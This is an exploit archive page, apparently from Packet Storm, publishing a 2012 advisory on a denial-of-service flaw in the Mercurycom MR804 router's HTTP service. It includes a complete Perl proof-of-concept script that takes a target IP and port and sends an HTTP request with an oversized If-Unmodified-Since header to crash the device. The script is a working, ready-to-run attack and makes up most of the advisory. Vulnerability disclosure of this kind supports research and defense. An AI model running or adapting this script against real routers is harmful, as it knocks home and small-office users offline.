exploit the possibilities

Mercurycom MR804 Router Denial Of Service

Mercurycom MR804 Router Denial Of Service
Posted Feb 22, 2012
Authored by demonalex

Mercurycom MR804 Router version 3.8.1 Build 101220 Rel.53006nB suffers from a denial of service vulnerability when fed multiple HTTP headers.

tags | exploit, web, denial of service
MD5 | ccff62db643c371d665060ad46a55c72

Mercurycom MR804 Router Denial Of Service

Change Mirror Download
Title: Mercurycom MR804 Router -  Multiple HTTP Header Fields Denial Of Service Vulnerability

Product : Mercurycom MR804 Router

Hardware Version : MR804 v8.0 081C3113

Software Version : 3.8.1 Build 101220 Rel.53006nB

Vendor: http://www.mercurycom.com.cn/

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-02-21

Updated:

Impact : Medium (CVSS2 Base : 6.1, AV:A/AC:L/Au:N/C:N/I:N/A:C)

Bug Description :
Mercurycom router are commonly used for internet connectivity for home or small office needs. (http://www.mercurycom.com.cn/Product/list)
Mercurycom MR804 Router contains any denial of service vulnerability about HTTP Header Fields(Such as If-Modified-Since, If-None-Match,
If-Unmodified-Since, etc...) in its HTTP service.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*********************************'."\n";
print '* mercurycom MR804 v8.0 DoS PoC *'."\n";
print '* writed by demonalex@163.com *'."\n";
print '*********************************'."\n";
$evil='A'x4097;
$test_ip=shift; #target ip
$test_port=shift; #target port
if(!defined($test_ip) || !defined($test_port)){
die "usage : $0 target_ip target_port\n";
}
$test_payload=
"GET / HTTP/1.0\r\n".
"Accept: */*\r\n".
"Accept-Language: zh-cn\r\n".
"UA-CPU: x86\r\n".
"If-Unmodified-Since: ".$evil."\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)\r\n".
"Host: ".$test_ip."\r\n".
"Connection: Keep-Alive"."\r\n\r\n";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!\n";
connect(SOCK, $test_target) || die "cannot connect the target!\n";
send(SOCK, $test_payload, 0) || die "cannot send the payload!\n";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!\n";
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close